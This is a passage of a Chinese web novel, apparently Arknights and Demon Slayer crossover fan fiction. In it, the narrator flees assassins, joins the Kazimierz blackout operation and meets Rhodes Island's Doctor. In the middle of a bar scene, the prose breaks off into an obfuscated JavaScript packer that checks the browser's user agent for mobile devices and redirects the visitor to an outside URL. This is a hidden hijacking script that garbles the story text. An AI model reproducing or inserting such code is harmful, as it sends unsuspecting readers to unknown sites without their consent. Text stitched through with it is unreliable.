“想不到观众间大名鼎鼎的‘幻骑士’居然是隐瞒身份参加比赛的感染者,这可不仅仅是违规取消资格就能解决的。”白金眼中闪过惊讶后搭弓又射出一箭,随后在通讯器中汇报了这些情况,调出部分人手来追击我。 而目前,我就是在躲避这些杀手的追击。 若只是正面对战也就算了,大范围的技能总有一个能把他们都解决掉,但麻烦的是不知何时会从暗中飞来的箭矢。 我一个人也对付不了那么多杀手,只有先向市中心繁华地带逃,希望到人多的商业街上他们就能暂时识趣离开。 早知道就提前买泰拉的通讯设备了!今天这趟我并没有和鬼舞辻无惨一同行动,因为我向他推荐可以看看薇薇安娜与玛嘉烈的比赛,而我想去零号地块附近找找罗德岛,所以只约了这段时间前后在商业街区见。 如果我是鬼的话倒是可以直接喊他名字给他叫出来,可现在要怎么和他联系啊! 希望他看见我身后带着一串无胄盟杀手去找他的时候不会骂我…… 商业街是到了,可今晚大部分的人也都为了那场烛骑士与耀骑士的对决集中在赛场周边,人实在是少得可怜。路边的小巷总是在吸引我转进去,但傻子都知道,我一个外地人为了躲避追杀跑进大骑士领的小巷,这种做法无异于找死。 好在我现在的体质比普通人类好了不少,跑这么长距离也没有很累。 话说如果我自己给自己划上一刀流点血,鬼舞辻无惨能察觉到那点气味吗? 箭矢从身侧飞来,我抬手挡了一下,箭头擦着胳膊飞过。 行了,这下也不用我自己喇这刀了。 如果能找到一个可以观看比赛直播的酒吧就好了,混进观众总是容易些。 我又向前跑,不敢离开商业街区,因为到了人更少的地方,这些无胄盟杀手连藏都不会藏了。 身后的人不见减少,偶尔还会迎面撞上围追堵截的杀手,我不得已拿出「八房」进行反击。这实在是下策,如果仅仅是因为感染者身份被追杀,起码只是暂时的,但对亮出身份的无胄盟成员攻击,无异于一种宣战。 顾不上那么多了,反正剧情里的无胄盟也嚣张不了多久,等《长夜临光》的剧情结束,他们就没有威胁了。 跑过一个巷口的时候,一只手从里面伸出突然将我拽了进去。 我举刀欲刺,熟悉的声音叫停了我的动作。 “用你的眼睛看清楚点,别像个疯子一样乱挥刀。”鬼舞辻无惨随手打掉新飞来的箭矢,连看都没看就将跟着我的几个无胄盟杀手击倒在地。 他抓着我衣领的手松开,在我背上推了一把让我站好。 我如释重负。 “是因为这个?”我指了指那个已经不再流血的伤口,周围的皮肤没有任何异常,看来箭上没什么毒素。 他瞥了一眼,点点头,转身朝巷子深处走:“你该向我解释一下,半天没见,招惹上这么大的麻烦。” 没有新的杀手再追进这条巷子,看上去他们是跟丢了。 我跟上无惨的脚部,简单陈述了一下撞见玛莉娅被绑架这事,包括前后的剧情和幕后博弈者的心思。 “无胄盟早就想脱离商业联合会的控制了,后者不希望感染者与监正会的夺权行动成功,但无胄盟想反过来利用这次行动和商业联合会割席,同时给自己重做一个好点的身份,能继续在卡西米尔混下去。”我暂时没将「八房」放回装备栏,尚不知道还会不会有敌人,收回再取出还是有点浪费时间,“不过他们暂时也不想直接撕破脸,所以他们的行动就变成了刺杀感染者,以此激化矛盾。” 简单来说,现在确实没必要与无胄盟为敌了,白金和青金还能应付过去,始终监视着这边情况、从未露面的玄铁大位才是真正需要警惕的对象。 按照剧情的描述,那人的实力可以从极远的距离外射出形如长枪般的玄铁箭矢,直取目标性命,连玛嘉烈和闪灵合力都无法斩断那支箭。这种人还是不要轻易招惹的好。 所以我确实是有些倒霉了,正好被看见了源石结晶,于是成了目标。 今夜正值无胄盟对城区内感染者开展的清剿行动,尽管他们的行动不会完全成功,之后情况也会好转一些,但无论如何,今晚的追杀都避无可避。 鬼舞辻无惨很少喊我的名字,所以听见他无故叫我的时候,我愣了愣。 随后只是眨眼的功夫,一支箭停在距离我的眼睛不到一寸的地方,箭头呈现出青蓝色。 不,不是箭矢停住了,是无惨抓住了那支箭,几滴血从他的手心滴落下来。 “你怎么还在走神?别跟个木头一样杵在那。”他丢掉箭看了眼手心,或许是这支能伤到他的箭和法术也让他感到些许危机,他当即拽上我的胳膊向另一个方向快步走去。 青蓝色……是青金的箭,他们确实今晚会在这附近,我只是没想到自己还能惹上这种级别的大位。 继续这样走也不是办法,而且我的感染者身份暴露也带来很多影响,必须得找个地方和无惨聊聊之后的计划。当然,那个地方不可能是原先的酒店套房,那里可不会欢迎感染者入住,商业联合会的情报网会迅速将这条消息给到那边,我可不会自投罗网。 前面就是巷子出口,去更空旷的地带虽然更容易被远方的狙击人员瞄准,但巷口有一家酒吧引起了我的注意。那里面有一台直播转播电视,不少观众正围在那观看比赛,正合我意。 “去那边。”我找回自己步伐的节奏,拉了一下无惨的袖子,示意他一起进酒吧装作普通客人。 酒吧店员只当是又来了观赛的骑士粉丝,随便招呼着我们进店。迎上那位库兰塔店员的视线时,我往无惨身后躲了躲,稍微挡了一下自己肩上衣服的破口,不至于让他过分注意那里,也不至于让他认出我。 找了靠里的位置落座,我先拉过无惨的手仔细查看了一下,伤口都修复了,至少看着没什么问题。 “看什么,即便那人的箭能伤我,你也应该知道这种程度的伤口对我来说根本不算什么。”他抽回手又自己看着手心,继续说,“不得不承认这个世界的人确实都不是常人,但这种箭矢甚至不会像日轮刀那样带来痛感,只能算有些本事的人罢了。” 我的目光也随着他手掌的动作移动,忍不住追问:“没有别的感觉吗?像是……什么东西侵蚀,或者说是一些奇怪地感觉……我形容不出来,但是会有吗?” 无惨抬眼看向我,有些不情愿地缓慢道:“的确有一些,以前从未有过的感觉,与那些猎鬼人的呼吸法不同,你是想说你知道。” 果然和我想的差不多了。 游戏内的青金作为敌方单位出场时会给攻击目标造成侵蚀损伤,损伤条叠满之后会直接造成不可逆的防御削减,无惨现在的感觉大约也是收到了侵蚀影响。这样说的话,青金的箭能伤到他也不奇怪了,这种损伤也是泰拉特有的,尽管我不太理解青金这种物伤精英怪打出理应有法术成分的侵蚀损伤是什么原理。 “侵蚀损伤,和其他一些统称为元素损伤,普通的治疗手段不太起效,你需要的话,我确实也知道相关技能。”我打开系统商城看了眼技能石。 他在我选择购买之前关掉了商城页面:“不需要,虽然有些难弄,但知道原理之后也差不多花点时间就能消除影响了。我还没到需要你用什么治疗技能来帮我的地步。” “是是是,那就给我省点分吧,一个技能30分就奶这口损伤确实有点浪费了。”我朝他干笑两声,他看着电视屏幕的双眼又看回来盯住我。 “‘浪费’?” “怎么了,我是分奴我要让积分多多的才安心。”话虽如此,我还是有些心虚地缩了缩脖子看向别处,“这不是能省下来买那个克服阳光的道具嘛,那个更……” 我话还没说完,鬼舞辻无惨就抬手捂住了我的嘴。 我还以为是否是话说得踩他雷了,但他并没有表现出任何怒意,只是将目光投向外围。我看向他所看的地方,几个装备严实的人走进了酒吧,喧哗着的观赛粉丝也渐渐安静下来。 无胄盟,这里没几个人认不出这群家伙的,也没什么人敢招惹他们。如今他们走进酒吧什么也不说,大约是所有人默认了这种颇像例行检查的举动。 我暗叫不好,这角落里的位置又实在不方便离开,后厨的门也有一定距离,现在起身绝对会吸引所有注意,看了半天,我最后将椅子往无惨那边挪了挪。 “借你躲一下。”我低声说着,挽住他的手臂靠向他。 没听见他的回答,但没有推开我的话应该就不算拒绝吧。 无胄盟的杀手在酒吧里走了一圈,渐渐向我们这里走近。就在脚步声来到我身后的时候,无惨突然将手臂从我手中抽出,揽在我右肩上,随后我便落入一个怀抱,完全称不上温暖,更不算柔软。 啊,这样是…… 背后的手臂微微收紧,我闭上双眼把头埋进他胸口,试探着也伸手环住他。 不对不对不对这不对! 我压根没听清来人说了什么,似乎是骂了句卡西米尔当地俚语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679159|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说着“又是这种你侬我侬的”,之后脚步声就渐渐远去了。 我趴在鬼舞辻无惨怀中理所当然地听不见任何他的心跳,只有自己的心脏越跳越快。直到他的手放开,我抬眼确认了周围又逐渐开始恢复喧闹,松手撑在椅子扶手上几乎是弹射起身重新坐正。 还未等我开口对他道谢,就听见他低声笑了笑。 “脸这么红,刚才不是还挺能说的?” “这这不是一个问题!当然还是谢谢你但是、但是……好吧我承认我是神经病行了吧。”我扒住扶手转过身去不再看他,这种时候不能再看见无惨的脸了,不然真的可能什么话都说不出来了。 “不要这么说,白夜。”真是稀奇了他今天第二次在这种没什么事的情况下喊我名字,“你只是偶尔脑子有些问题,但还没严重到我无法容忍的程度。” 这有什么区别吗…… “那我换个好听点的说法,你只是有时表现得像一些小兽,我暂时还不会讨厌你。” “你直接说我像狗不就行了,不是,那个,算了没事……如果是像动物的话确实也是因为装扮成泰拉人会有部分贴近动物原型的行为倾向。”感觉面颊热意消得差不多了,我转回身来,重新提起之前被搁置的话题,“说正事,比如之后的计划,我会把更多剧情细节告诉你,如果你觉得无聊,还是可以置身事外看戏,我也没有意见。” 卡西米尔在每届骑士特锦赛期间都会选出三座发展迅速的城市,与大骑士领本土合并形成四城联合的巨型移动城邦,现如今的卡瓦莱利亚基便是这样的一座四城联合城邦。而三年前的特锦赛前夕,四大城邦即将链接的时刻,核心动力炉被恐怖分子瘫痪;为了避免城区冲撞,大骑士领被迫四分五裂,这就是卡西米尔历史上著名的四城大隔断事件。 红松骑士团与监正会达成了交易,重现四城大隔断,乃至更甚,要彻底熄灭大骑士领所有竞技场的灯光。此举是为了扳动商业联合会的地位,是监正会希望将卡西米尔带回“骑士之国”正规的一次行动,但他们不能直接露面,所以便将任务交给了红松骑士团。作为报酬,事成之后,监正会允诺给感染者合法身份。 “大隔断之后,银枪天马将入驻大骑士领,成为耀骑士玛嘉烈夺冠之路的保障。”我回想着剧情,看向鬼舞辻无惨的双眼,“我会去找红松骑士团,协助他们的行动,酒店那边我是不可能回去了,不过他们应该没有把你列入目标,所以你的行动是自由的。如何,有兴趣来见证文明的前进吗?” “文明的前进,很独特的说法。”无惨并不急于做出决定,只是复述了一遍我对这段剧情的概括。 我就当作是他对这个描述感兴趣了。“说飞跃还谈不上,但确实是向前走了,比起腐朽的商业联合会资本,崇高的骑士精神才能指引这个国家走得更远。”我笑起来说着,身后道具拟态的尾巴也不禁左右晃动。 事实上我一直有想,无惨讨厌变化,却又喜欢新式科技产品和天赋更好的鬼,所以,他厌恶的并非变化本身,而是向劣的改变。与之相对,他追求、以及欣赏的是“进化”。 唯有进化才是万物存续的机会,生物是这样,文明更是。无法进化的物种和文明终将在时间长河中消亡,而人类辉光便绽放在文明向前迈步的那一瞬。 所以,他会感兴趣吗?泰拉这片大地上的脆弱文明,会让他感到哪怕一点点的欣喜吗? 无惨瞥向墙上的耀骑士应援海报,电视传来烛骑士认输、耀骑士获胜的解说,酒吧内的观众沸腾起来,高歌着为玛嘉烈庆贺。 店员端来两杯酒,说是庆祝耀骑士获胜赠送的特饮。 “你在试图揣测我的心思、我的喜好,”他勾唇道,“这种方式很拙劣,而且你应该知道我不喜欢别人这么做。” 他的确不喜欢,但我现在也能感觉到,他没有生气。 如我所想的那般,他真的开始对这片大地投射出些微的注意了。 我拿起一杯特饮喝了一口,不愧是送的,只是最便宜普通的啤酒。 “我之前说过,我认可的人类意志在于直面天灾的勇气,当时我没说的是,这一点很大程度上来自于这个世界、这个游戏的情节。”我转而提起另一个话题,一些我在刚和他相遇不久时说过的话,“我更没有说的是,我最喜欢的人类意志表现,就是文明为了存续做出的努力。” 我实在是喜欢人们为了文明的存续前赴后继的故事。 尽管我说若鬼舞辻无惨觉得无聊可以置身事外,但这样的故事,我私心也仍是希望能让他也了解一下的。 而且也同样,或许那个不太完美的原作结局仍是我心中的一个疙瘩,我还是无法接受那样的台词。不过现在说那些也没有意义,毕竟无惨已经和我来玩这莫名的快穿小游戏有段时间了,面前的他比我以往任何时候透过屏幕或纸媒看到的要真实。 我私心希望,能和他一同去亲历这些我喜欢的故事。 “所以,这次的故事,你会有兴趣吗?” 鬼舞辻无惨沉默半晌,直到酒吧里的粉丝开始离场,店内音响的乐声渐渐变得清晰,他抬眸看向我,在目光相对中,我确认了他的意思。 “你说的那个四城大隔断,让我看看能做到什么程度吧。”他双手抱胸,身体后仰靠在椅背上,“至于是否有兴趣,也要再看你的表现。” 我将杯中啤酒一饮而尽:“希望泰拉不会让你失望。” 他盯住我,我看着他的眼睛。 “别太早死了,白夜。” 他又一次喊了我的名字。 “我暂时,还愿意相信你能带来价值,还有惊喜。” 他自然是不会喝人类的饮品,所以他那杯赠送啤酒也归我了。 虽然味道算不上好,但毕竟是送的,不喝白不喝。 “我给自己想过的可能送命的结局里,也暂时没有除你以外能让我把命交出去的人。” 我身体前倾从他面前拿过玻璃酒杯。 “我是说,如果真的要死,我只希望是你来动手。” “在那之前,我绝对,绝对不会死的。” 28. 第 28 章 辉煌的城市霓虹在顷刻间熄灭,大骑士领恍若回到了千百年前卡西米尔的天马仍在四处征战的时期。 晦暗分明的双月照亮了夜空,这座喧闹了数月的城市头一回如此寂静。 随后,所有人都察觉到了异样。 时隔三年,又一次的四城大隔断带来了更强烈的冲击,夜幕之下暗潮汹涌,所有的阴谋都在此刻呈上舞台。 尽管是说过监正会与红松骑士团等感染者骑士达成交易,一次行动换来合法身份,但真正导致卡瓦莱利亚基停电的仍是无胄盟。 顺水推舟抹除自己在商业联合会中的记录,以及相关知情高层,最后顺水推舟把罪责嫁祸给感染者骑士,他们是这么打算的。所以红松骑士团的行动从一开始就被无胄盟牵着走,被切断了通讯、又提前引爆了核心动力炉处的炸弹。 这些东西我都知道,但也一句都无法告诉红松骑士团的骑士们。 预知未来?我又不是独眼巨人,在泰拉这种能力可是有专门的氏族掌握的。 刺探无胄盟内部消息?那这些也太详细了,详细到会让人怀疑这绝非简单的“刺探”,而是某些人为了博取他们信任而放出的烟雾弹。 卡西米尔需要这一次大隔断,尽管它的背后有无胄盟的引导,但这个骑士之国需要这样一个机会,感染者骑士也必须通过这次大隔断来为自己争取更多机会。 告诉他们这一切其实都有幕后操控者博弈的阴谋,让他们三思后取消或延迟这次行动?不可能的,这件事绝无退缩的余地。无论大骑士领收治感染者的零号地块藏着何种真相,无论这件真相有多使人愤懑、要迫切改变,通往真相的大门都必须由这些感染者自己来打开。 或许是肩膀上真的长了那些源石结晶,我变得比以前更能理解感染者了,但作为看过整个剧情的游戏玩家,我希望自己能比当局者想到的更多。 感染者骑士不可能只乖乖等待被人拯救,他们必须靠自己让所有人听见,感染者用生命发出的呐喊震耳欲聋。所以无论这次大隔断背后藏着怎样的阴谋,事实上都没有第二个选择。若是这样的话,便没有告诉他们、徒增困扰的必要。 “我略有听闻零号地块的事,与其说是收容救治感染者的地块,它更像是一个榨取感染者最后价值的机器。”我能告诉他们的只有这些,“但这种事要揭露真相就必须有值得信服的证据,所以董事会数据库里的文件是必不可少的。” 从商业街和鬼舞辻无惨分开后,我这几日都住在红松骑士团建立的感染者聚落里,大隔断的行动我自然也是要参与进去的。焰尾对我表示了感谢,并希望我能协助灰毫突入核心动力炉,熄灭其中能源。 但核心动力根本不需要红松骑士团去熄灭,引爆其中炸弹的另有其人——青金大位罗伊。当然这种信息我也不可能直接说出来,所以我找了其他理由,让自己去了另一组,和野鬃一起吸引无胄盟杀手的注意,为潜入商业联合会大楼的队伍争取时间。 即便中途会有血骑士出手相助,野鬃也仍会在这次行动中受重伤。甚至可以毫不避讳地说,若不是她在《长夜临光》的活动中作为赠送角色登场,成为了玩家可使用的角色,剧情里这么多flag真的够她喝一壶的。 但不会在行动中牺牲不意味着中途不受苦,所以我要和她一组,正好我也和无胄盟的青金有些私人恩怨。 “商业联合会的情报网很广,我并不是说有人泄密,但感染者骑士的行踪绝对一直在他们的监控中,所以要小心敌人的后手。如果无胄盟派出更多兵力来阻碍行动的话,我们也要准备更周密的后备计划。”我看了一眼野鬃,补充了一句,“上次追杀我的无胄盟里有青金大位下场,我担心这次也会有他们,所以必要时刻我会吸引他们的全部注意,艾沃娜先撤退。” “不行,让我丢下你一个人迎战那群无胄盟渣滓自己逃跑?开什么玩笑!”这位真性情的库兰塔骑士显然是不会那么容易被说服,但我也真的不想看见她像原本的剧情中那样全身受伤严重失血。 “别担心,如果他们真的猖狂到想丢掉狙击手的优势,和我近距离作战,我还是有点把握的。再说了我这边也是有人能接应的嘛。” 口袋中的手机暂时没有回音。 这部手机也是和鬼舞辻无惨分别前购买的,我和他一人一部,在无法联系这个坑栽过一次,我不会再犯同样的错。而这次红松骑士团行动前的最后一次会议之前,我便将自己的终端打开,拨通了无惨的号码,并把终端放在了口袋里。 我相信他也一定还记着那天的那一箭,如果他真的有意记仇的话,或许我要想的就不是怎么打过青金,而是怎么说服无惨暂且留对方一条命了。 手机没有传来任何声音,待我结束和红松骑士团等人的讨论,来到角落处拿出手机想说上什么时,打开发现通话早已挂断。 他大概是都接收到那些信息了吧,应该也有自己的打算,当天再和他联系也不迟。 我便只给他发了一条文字消息,附上行动当日的预计行动路线。 行动当日,野鬃与几名感染者骑士吸引了无胄盟杀手的注意,将他们带离了主要街区。我暂时没有露面,而是沿着他们的行动路径,在周围建筑的屋顶上穿行——我也想给莫妮克一个小小的惊喜。 如预料中一样,通讯被切断了,负责远程支援的远牙与塑料骑士瑟奇亚克无法再提供掩护,暗处飞出的青蓝色箭矢预示着事态的恶化。 野鬃向上瞥了一眼,我比了个手势示意她吸引那位青金大位的注意,她轻轻点头,正面迎向了青金莫妮克带领的无胄盟第三小队。 和剧情中一样,莫妮克仅仅是用手抛掷箭矢,锋利的箭头就刺入了野鬃身边那个感染者骑士的大腿,又以箭矢当作剑与野鬃近身搏斗,而后者一旦想拉开距离,莫妮克又会迅速搭弓射击。 青金大位是野鬃无法抗衡的对手,几分钟不到,她身上就已经挂了彩。这些伤口的负面效果不会直接表现出来,但的确存在元素损伤,时间长了必定会让野鬃比现在更容易受伤。 接下来莫妮克会全力攻击野鬃,不是一击毙命,而是留下一个又一个伤口,仿佛是一种酷刑,一场她打发无聊工作的捕猎游戏。 交出十个感染者骑士,换感染者聚落中其他的老人孩子活下去,这是她之后提出的条件,毕竟无胄盟今晚都只是象征性地做些表面工作来敷衍商业联合会。 “象征性”地,杀死几个感染者骑士去交差。 这看似诱人的条件又算什么呢,说到底,他们依旧只把感染者当作可交易的筹码。 我不会让她有机会说出那个傲慢的条件。 在野鬃手臂被又一支箭矢擦伤,躲闪面前的无胄盟精锐小队攻击,脚下一个趔趄时,我攥紧新购买的技能石从屋顶上跳了下去。 无数支法术凝成的剑刃跟随着我的动作一同坠下,像雨点般落入地面,我落在莫妮克与野鬃之间,凛冽的剑雨阻挡了莫妮克的前进。 “这里什么都没有发生……如果真的能这样就好了。”我提起太刀「八房」,刀刃上也凝结起了与周身剑雨相同的法术能量,挥出的斩击轻松斩断了莫妮克拿来近身攻击的箭矢。她皱了皱眉,向后轻轻一跃拉开些距离。 我瞥了一眼身后的野鬃,确认她大致无恙后跟上了莫妮克,剑雨也随着我的移动前进,打断了她后撤的动作。灵巧的菲林女性搭弓射出几箭,将落向她的法术弹开,在意识到剑雨的法术来自于我之后,又抽出一支箭向我刺来。 “你和野鬃骑士艾沃娜一样,前几日就该死去了,你那时甚至比她都狼狈,现在还敢露面?”猛烈的攻击下,莫妮克嘴上也不饶人,“你们都是一样愚蠢,自以为能用生命换来些什么,也天真地认为自己还能赢。” “所以那个时候那一箭是你的,还是另一位青金——我想想,叫罗伊是吧——是你还是他?” 我盘算着技能的持续时间,脚边砸下的剑雨势头已经有所减弱,附在「八房」上的法术也开始消散,就这样结束技能的话,我能坚持的时间可比野鬃还要少。 剧情里打到一半可是有赏金猎人托兰来引走莫妮克的,我至少得坚持到他赶来,或者坚持到野鬃带着感染者骑士们撤到更远的位置。 莫妮克的箭离我只差毫厘,耳侧唐突刺出一柄长枪,硬生生将箭头顶了回去。我回过头,看见野鬃擦掉额前流出的血,喘着气又一次举起长枪。 她勉强地对我笑笑,说:“我可不会就这样倒下……这群,无胄盟渣滓……今天他们谁也别想越过我!” “她是青金大位,理性分析我们都该马上撤退。” “撤退?还能退到哪里!”野鬃双眼紧盯莫妮克与她的第三小队,咬着牙吞下一口血沫,“今天这么重要的行动,我才不会让他们有机可乘……实在不行,你带着那些骑士们先走。” 好吧,骑士。 她确实是一名真正的骑士,那我再让她离开就有点不礼貌了。既然如此我也再努力一点吧,即便我不是骑士,但在这个系统的游戏里,作为玩家,偶尔也要打打困难的战斗。 而且我想起来了一个能给自己创造更多优势的方法,差点忘记了,这些技能石除了技能本身的效果,还可以附带着来点角色的天赋。 也就是说…… “看来你们都打算在这里送命,也行,算上你们,剩下的感染者只要再交给我八个骑士让我交差,其他的老人孩子我都不会管。”莫妮克将箭矢搭回弓弦上,青蓝色的箭在夜晚闪着光,“这个交易如何?反正你们两个也已经做好送命的打算了。” 我在她的箭射出之前用力蹬地向前冲去,提刀刺向莫妮克时偏开几分,她侧头躲过,带着巨大冲力的箭矢刺入我的胸口,几乎要将我击飞。她眯了眯眼看向我,正想说点什么讽刺的话,几滴血就溅到了她脸上。 她大概以为我是打算趁她拉弓的时候向她冲击,但我从一开始就是瞄着她身后那个无胄盟小队成员去的。我虽然不是杀手,但刺中哪里能让人迅速毙命,这点常识我还是有的。 锋利的太刀刺破那名无胄盟杀手的肩颈部盔甲,一直刺穿脖颈,穿出后脖盔甲的刀尖被血染红,随后在刀身抽离的瞬间,大量鲜血喷涌而出。 箭头刺进我胸口有些深的位置,我看着倒下的杀手,体内涌起一股崭新的能量,未等我主动去拔出箭矢,它便掉落在地。就像是被血肉挤出去一般,而我胸前确实也已恢复如初。 滂沱的暴雨又一次倾泻而下,莫妮克闪躲不及,手臂上被法术割伤好几道口子。 我赌对了。 缄默德克萨斯的天赋【德克萨斯传统】,首次击倒敌人时回复所有生命并重新释放被动技能,这被动技能自然是我用技能石选的【剑雨滂沱】,没什么比处决者更适合落地单挑精英怪了。 技能持续时间只有8秒,但我击倒了那名杀手,这个技能就可以在天赋作用下再次释放,连同她击中我留下的伤也一并在眨眼间痊愈。我又有了8秒的时间,带着法术的太刀斩击夹杂着周围的剑雨,这是连她都觉得难缠的招式。 当然美中不足的是原本游戏中能靠缄默德克萨斯单清的精英怪青金莫妮克,实际和她对战下来,两套【剑雨滂沱】也只能逼退她而已。 如果托兰再不来的话,我真的要骂人了。 我不是没有其他技能可以再牵制莫妮克一会,只是对精英怪用两个决战技实在浪费;考虑到之后的剧情她还算有些重要的角色,也不能在这里杀死她,连带着【剑雨滂沱】都没能发挥出完全的力量。 幸运的是,托兰·卡什真的是本次剧情中优秀的、到处救火的那个。 他在我的第二次【剑雨滂沱】结束后没多久就赶到了现场,他的实力能和莫妮克打个平手,一时间难分胜负,战场也在他的主导下离开了这块靠近感染者聚居区的地方。 接下来只需要我和野鬃一起解决掉剩下的无胄盟小队就行,纵使是青金大位的精 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我看着消息栏中的位置,找了条小巷钻进去,对身后的野鬃喊了声“找人”就要往前跑。但脑中飞快转过之后的一些剧情,我还是没忍住后退回巷口补了一句: “如果青金折返回来或者又来了什么等级的大位,去卡瓦莱利亚基主干道,之后那边会来一些能让这些无胄盟不敢轻举妄动的人。” 银枪天马是卡西米尔征战骑士中最精锐的那一批,只需要三名以上的成员,他们就能组成一支战术小队,而要是两位数人数的话,几乎无人能与之对抗。 监正会将以卡瓦莱利亚基遇袭为由,召集银枪天马紧急入城,商业联合会也不敢对此妄言,而这支银枪天马将成为之后耀骑士参赛的保障。过了今晚就没什么特别需要担心的事了,即便商业联合会与无胄盟还掌握着一些能负隅顽抗的情报,也掀不起大风大浪。 鬼舞辻无惨只发来了一个坐标,其余的什么都没说。 他是绝不会做没有意义的事,更不会唐突叫我到一个莫名其妙的地方,所以,应该是有人或者事要给我看。 零号地块……大概率是我想要找的什么存在……如果把关键词链接起来的话,答案只有…… 罗德岛! 可我本来没打算在今天就找他们。玛嘉烈为了避免罗德岛被她波及,并不打算在比赛期间与他们过多联系,所以我原本的设想是骑士竞技决赛之后,再找机会通过玛莉娅和玛嘉烈与他们搭上线。 我加快了脚步,因为不知道无惨具体是怎样找上罗德岛的,所以脑中闪过无数种可能,我也不得不以最坏的局面来设想应对措施。 零号地块风平浪静,直到我走近目标位置,也没听见什么过于嘈杂的声音。 而目的地那里,除了鬼舞辻无惨外,赫然站着三个人。 “这是什么,情况……”我看了看无惨又看了看旁边的人,一时猜不出他们都聊了什么。毫无疑问这边的博士、阿米娅和砾都是货真价实的本尊,无惨是通过什么方式联系到他们,而且能让他们三人一同在大隔断这种紧急事件期间外出到这里来? 无惨扫了我一眼,转头对博士一行人礼貌地笑了笑,说:“还有劳各位关照。” 居然是这么平和的对话吗! “没事的月彦先生,帮助感染者也是罗德岛的职责,而且我们也很难得在卡西米尔见到您这么关心自家骑士的经纪人。”阿米娅的话说到最后又给我带来大量信息,我似乎明白了无惨是怎样找到他们的,又似乎还有点一头雾水,只能干笑着站在他身旁。 我大概懂了,无惨在这场对话中给自己安的人设是“幻骑士”的经纪人,即便已经在淘汰赛中落败离场,也在近期的无数事件中暴露了感染者身份,遭到无胄盟的追杀。因为是感染者伪装成非感染者参赛,所以也无法拿到足够的药物,希望能有罗德岛帮助。 但这还是有些说不通。 罗德岛只是一家医药企业,怎么会贸然下场参与卡西米尔内部斗争的事情?尤其是这种对感染者态度并不和善的地方,罗德岛能带一支医疗小队进驻大骑士领进行医疗援护,已经算卡西米尔最大程度的包容了,他们是无论如何都不可能再做这种高风险的事。 当然博士是有自己的方法与那些企业博弈,也能根据自己掌握的信息为罗德岛规避威胁,他与马克维茨的个人交情更能给罗德岛开出一条路。只是马克维茨毕竟也有着商业联合会发言人的身份,说到底帮助一个单独的感染者骑士,甚至还是非法感染者,这种收益风险不对等的事,是怎样让他带着阿米娅、以罗德岛官方身份来参与对话的? “白夜小姐的感染状况可能要等明日电力恢复才能使用医疗设备进行检查,用药也必须等检查结果出来后,根据医疗干员们的建议服用。”阿米娅投来歉意的目光,随后让出一个身位,继续说,“抱歉,说了这么多,还是应该再问问博士的看法呢。” 身着厚重外套,头戴防护面罩的人缓步上前。在见到这人的第一刻,一股没由来的安心感便在我心头升起,分明是第一次相见,我却觉得像一位久别重逢的老友。 不,不能说是第一次相见。 这是我最熟悉又最陌生,在除却其他游戏角色外与我相伴最久,几乎是烙在我灵魂最深处的人。罗得岛的博士,《明日方舟》的主角,也是游戏玩家在其中的身份。 说实话,以这样的方式和原先自己在游戏中操作体验的人相见,真是十分微妙的体验。 也不知道那个面罩下长什么样,或许是官方动画的那种白发白瞳,又或者是打了马赛克看不清的面孔,甚至面罩之下是另一副面罩的神秘兜帽人。 随后博士清了清嗓,开口讲话。 仅仅是几个字的发音,就让我一下愣在那里。 在这个全城停电寂静的夜晚,我怔怔地看着博士,半张着口,却一个字都说不出。 那是…… 我的声音? 29. 第 29 章 博士、刀客塔、巴别塔的恶灵、源石学者、“预言家”…… 关于这个人,有无数种可以称呼他的方式,他的身份自然也是复数的,不过对《明日方舟》玩家来说,这个人就是与玩家相互联结的游戏主角,是玩家操控的主视角。 简单来说就是主控角色。 和什么阴阳师御主旅行者审神者一样,博士是罗德岛的博士,更是对玩家的指代。 毫无疑问,这是与玩家羁绊最深的那个人。 所以在与博士面对面交流之前我也有些忐忑,因为不知道这个我在游戏中操控的角色会以什么姿态呈现在我面前,更不知道与对方见面时我会是什么样的心情。 而事实上我比自己想象中要平静,毕竟博士在游戏官方的设定集和动画中也有部分“官设”,我想他大概也就是那个样子,包括官方配音。 可是,可是…… 那为什么是我的声音? “……合作愉快。”我完全没听清博士之后说了什么,对方开口后吐出的前几个音节让我的大脑几乎停止运转,等话音落下,我仍是愣愣地看着罗德岛一行人。 鬼舞辻无惨投来疑惑的目光,我看向他,他没有表现出任何与我相同的惊诧。 我对阿米娅说了声抱歉,拉着无惨往远处走了几步,压低声音问他:“你……没有听见什么奇怪的东西吗?不是,就,你听了那个博士说的话对吧?” “是,怎么了,不是你一直想找这个叫‘罗德岛’的组织吗?”他完全不明白我为何要这么问他,瞥了眼那边同样低声私聊的阿米娅和博士,对我说,“那个把自己裹得很严实的人,他头脑不错,我承认这还算意外之喜。” “那你听见他说话,他的声音是什么样的?”我忍不住继续追问。 无惨挑眉盯住我,略作回想说:“是一种中性、模糊的声音,不太容易让人分辨出说话者的性别、年龄,甚至情绪。我看他一直戴着面罩,大概是那个东西有某种变声功能。” 如果真的是变声那还好了,可怎么连他都没有听见任何异常? 对了,如果博士说话时真的与我声音一致,那方才我和阿米娅讲话的时候,她也早该露出惊讶的神情了;但无论是对我还是对博士,阿米娅和砾都从未展露出什么异样。 所以难道是只有我听见了那样的声音?只有我,听见博士开口用我自己的声音说话了? “你这又是怎么了,来的路上撞坏脑子了?” “不,没什么,我自己想想,想通了和你解释。”我揉揉脑后的头发,给他一个抱歉的眼神,唐突拉他去私聊这个行为确实可疑,再继续这个话题就更不合适了。 我重新走向博士跟前,尽量不去在意那个与我一致的嗓音,向他打了招呼。 不过话说回来,现在究竟是该称为他,还是她,亦或是,祂? 算了,别管那些了,在泰拉,博士是完全可以信任的对象。 我想起了道具栏里的罗德岛热水壶,之前用过一次后就没再拿出来过。虽然也不太清楚为什么能这么容易和罗德岛联系上并达成合作,但为了更进一步加深信任的话,或许可以再用一次那个水壶。 毕竟它确实是增加希望的道具。 于是热水壶被我递给了博士,而深谋远虑如博士,在接过沉甸甸的水壶时也沉默了几秒。 